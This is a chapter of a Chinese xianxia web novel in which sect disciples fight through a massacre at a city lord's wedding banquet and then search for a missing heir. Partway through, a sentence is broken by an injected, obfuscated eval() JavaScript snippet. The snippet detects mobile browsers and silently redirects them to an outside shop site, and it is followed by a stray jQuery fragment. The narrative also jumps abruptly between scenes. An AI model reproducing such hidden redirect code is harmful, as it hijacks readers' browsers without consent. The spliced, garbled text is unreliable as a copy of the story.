“周师兄!”
一直在外潜伏待命的万剑宗修士,听到了厅内异变,第一时间驰援而至。
数道人影如风掠入主厅,剑光划过混乱的厅堂。
“周师兄!我来助你!”
一名素来与周道禅交好的师弟纵身冲上,长剑出鞘,径直挡下数名护卫的围攻。
凌厉的剑招连绵而出,替周道禅分担了大半攻势。
“大师兄!”
其余万剑宗弟子也纷纷散开,各自寻敌交手。
“怎么突然就打起来了?”
“哎呦,你怎么能偷袭?!!!”
“呔!吃我一剑!”
剑光交错,剑气纵横,他们配合着虞留湘与周道禅,一同截杀冲过来的府卫。
原本岌岌可危的战局,顿时得到了缓冲。
虞留湘一剑挑开袭来的护卫,目光扫过纷乱的人群,朝着周道禅的方向扬声喊道:“周师弟,去找顾师妹!”
周道禅随手捞起一个蜷缩躲在桌下的孩童,将人护在臂弯,回头应声,声音藏着几分轻快。
“好嘞!”
他心底早就惦念着顾倾月,方才眼睁睁地看着师姐拜堂,简直比挨上数千剑还要难受。
此刻得此吩咐,正中下怀。
他抱着孩子,向外奔出几步,却又猛地顿住脚步,像是忽然记起什么。
“大师兄!不叫林师姐嘛?”
虞留湘手上招式不停,头也不抬地淡淡回了一句:“秋师弟已经去了。”
“好……”
周道禅咬了咬牙,抱着孩童,转身向外狂奔。
好你个秋山彤!
我在外头打得费劲巴拉,你居然偷偷跑了!!
一定要比他先找到师姐!!
东院的新房之内,素白纤细的手指一把扯下头上的红盖头。
“不好了!大少夫人,外面……”
顾倾月在院中动静传来的那一刻就从乾坤袋中抽出了镇岳剑,几步便纵身掠到门边,恰好迎面撞上慌慌张张跑来报信的侍女。
两名侍女急匆匆地闯进来,打头那一个身子一软,径直扑进顾倾月怀中。
“啊~啊~大少——”
侍女正要开口禀报变故,目光往下一瞥,看见顾倾月手中那柄水桶般宽的巨剑,眼前猛地一黑,身子一软,直接晕了过去。
慢上一步的另一名侍女见状,吓得失声惊叫,只当顾倾月和外面的乱党是一伙的,转身便要夺路逃跑。
追杀的人已然追到院落门前。
领头的是一名金丹期修士,院内原本守在外围的侍女,早已倒在血泊之中。
这群人正要闯入院中搜寻,恰好撞见跌跌撞撞奔出来的侍女。
刀锋扬起,眼看便要劈落侍女头颅。
一道凌厉的剑气横空劈出,直接将对方的刀剑生生劈开。
顾倾月纵身跃到侍女身前,将她牢牢护在身后,旋即提剑,与一众追兵缠斗在一起。
不过片刻的功夫,院中的护卫便全都倒在地上,那名领头的金丹修士也倒在血泊里再无还手之力。
满地狼藉,鲜血浸透院中的青石。
顾倾月收回剑,肩头的衣袍被划开数道裂口,她直接扯下外袍,只留下鲜红的里衣。
她低头看了眼地上昏死过去的侍女,又望向院门口。
就在这时,一阵急促的脚步声由远及近。
周道禅抱着一名孩童,气喘吁吁地冲入院内,额头上满是薄汗,头发也被跑得凌乱。
“师姐,我来了!”
抬眼一望,院落里横七竖八躺满了敌人的尸体,顾倾月安然站在院中,手中镇岳剑还滴着血珠。
周道禅的脚步顿住,他怀里的孩童看见满院尸骸,吓得紧紧搂住他脖颈,小脸死死埋着不敢抬头。
顾倾月转头看向他,视线落在那名瑟瑟发抖的孩童身上,眉头微蹙,“你怎么把孩子带过来了?”
周道禅连忙抬手轻拍安抚怀里孩童,喘着气回道:“大师兄让我过来找你,我怕你出事,一路拼命赶过来的。”
顾倾月不想血腥的场面再吓到孩子,当即收了重剑,侧身让开房门。
“先进来再说。外面局势如何?”
周道禅跟着进屋,低声快速道:“主厅彻底乱了。老城主临席改诏,要传位给合成瑾。”
顾倾月愕然回头:“合成瑾?”
“嗯。”周道禅点头,“合清淮当众弑父,彻底反了,全城府卫都在屠席叛乱。”
顾倾月眸光一凛,当即决断:“先去找林师姐。”
另一边,隔壁院落。
秋山彤伸手,一把扯下林尽燃头上的红盖头。
盖头落下,只见女子双目紧闭,容颜苍白沉寂,任凭他如何轻声呼唤,始终毫无回应,宛若沉睡。
“师姐!”
秋山彤心脏发紧,加重了声音:“林尽燃!”
还是无人应答,他立刻扣住林尽燃的腕脉,渡入灵力探查经脉。
灵力探入,一片空寂。
灵力沉寂,仿若只是沉睡,查不出缘由,诡异至极。
秋山彤不敢耽搁,立刻俯身,小心翼翼将昏迷的林尽燃背起,托住她的身形,转身快步朝着主院方向奔去,欲与众人汇合。
可他才刚奔出院落回廊,数道黑影自四方的廊柱阴影中窜出。
一众修士兵刃出鞘,杀气凛冽,压迫感铺天盖地。
为首的是一名化神期修士。
他目光沉沉地落在秋山彤背上昏迷的林尽燃身上,声线冷得不带一丝温度:
“把你背上的女人,交给我。”
秋山彤置若罔闻,他单手稳稳托住林尽燃,不让她受到半分颠簸磕碰,另一只手骤然拔剑出鞘!
铮——!
铮——!
虞留湘收剑归鞘,林尽燃紧随其后,自半空飘然落至院落之中。
“大师兄!”
“大师兄!”
此起彼伏的呼喊声响起。
这座残破的庭院早已被密密麻麻的人挤满。
周道禅苏醒之后,便带着城主府幸存的宾客、下人,一同转移到了此处避难。
听见动静,人群自动向两侧分开,让出一条通路。
秋山彤立在人群后方,目光紧紧落在跟在虞留湘身侧走来的林尽燃身上,悬着的心稍稍放下。
虞留湘目光扫过全场,沉声问道:“情况如何?”
“周师兄服下师姐赠予的丹药,伤势已经好转许多。”
“顾师姐正在里面陪着他,府中剩下的人都在这了。”
虞留湘微微颔首,旋即转过身,望向院内一众众人。
场上除了万剑宗的修士外还混杂着前来赴宴贺喜的宾客,和侥幸活下来的府中仆役。
每个脸上都是劫后余生的惊惧,皆是满怀期盼地望向虞留湘,等待他拿定主意。
“诸位,在下万剑宗大弟子,虞留湘。”
虞留湘立于人群最前。
林尽燃与秋山彤一左一右,静分立
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17937748|206610||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
其旁。
“此番城主府骤生劫难,是合清淮伙同魔修作乱,祸乱城主府。”
他声音清稳有力,落进众人耳中,抚平大半人心惶惶。
“我已传讯回宗门,仙门的援兵已启程前来。在此之前,还请诸位切勿擅自离院,以免遭遇不测。”
“仙门第子会分班四处巡查警戒,但凡发现魔修踪迹,即刻通报。”
慌乱不安的众人终于稍稍安定,紧绷的心神缓缓落地。
是夜。
暮色彻底笼罩整座白沙城,只余下沉沉静谧。
院中央燃着一簇熊熊的篝火,木柴燃烧,发出细碎又治愈的噼啪脆响,跳动的橘红火光,温柔又孤寂地铺洒满地。
屋内,顾倾月正留守榻边,细心照料伤势初愈的周道禅。
秋山彤则被虞留湘临时叫走,一同安排夜间巡守岗哨、排查四周隐患。
偌大的篝火旁,此刻只剩林尽燃一人独坐。
除了合清淮之外,今日作乱的人皆以伏法,魔修已经被林尽燃消灭,侍卫也被看受起来。
仙门的修士来援及时,除城主府外,别的地方并没有出现情况。
当然了,这是明面上,暗地里怎么样,他们还在搜寻。
重伤弟子都在屋内静养调息,轻伤弟子全数外出轮值巡查。
她被虞留湘特意留下,坐镇此地。
星火跳跃,光影摇曳。
林尽燃手肘轻抵膝头,眸光沉静,一寸寸缓缓扫过围坐篝火的众人。
一张张脸,或是惊魂未定,或是疲惫倦怠,皆是从那场血色婚宴里侥幸活下来的人。
她目光尽数扫遍,心底悄然一沉。
人群之中,没有合成瑾。
白日的大乱仓促,所有人都自顾自的逃命。
方才清点人数、逐一核对幸存之人时,其中没有合成瑾。
唯一见过合成瑾踪迹的,是一个慌乱逃窜的侍女。
那侍女心有余悸,颤抖着回忆,大乱之时,她亲眼看见奶娘紧紧抱着合成瑾,慌不择路,一路朝着西院的方向躲藏而去。
自那之后,便再也没有人见过二人的踪影。
“不对——”
呢喃声从她唇边溢出,话音刚落,便被人接过。
“什么不对?”
林尽燃抬眼,对上秋山彤的视线。
“师姐。”
入夜后的白沙城浸着刺骨的寒,秋山彤拿着一件外衣,想要替她披上,却被林尽燃轻轻摇头拒绝。
“回来了?巡查的情况如何?”
秋山彤收回外衣,俯身在她身侧坐下,神色凝重地轻轻摇了摇头。
“派出去搜寻的弟子没有找到合成瑾。西院翻遍了,就连封域也去找过了,不见奶娘,也不见那孩子的踪迹。”
原本以为难寻的钥匙一直被老城主放在怀里,但令人奇怪的是,合清淮在杀死老城主之后并没有带走钥匙。
若有钥匙,便能随意地打开封域,藏身其中。
林尽燃垂下眸子,篝火跳动的火光映在她眼底,那股萦绕心头的违和感越来越重。
在被俘的府卫口中得知,他们皆是受合清淮的号令,于大婚当日,诛杀赴宴宾客,至于其余内情,一概茫然不知。
他们只知听命动手,对为何要叛乱、合成瑾的下落全都一无所知。
林尽燃觉得,事情没有那么简单。
她静默思索片刻,抬眼定定看向秋山彤,眸光沉静而果决。
“跟我去个地方。”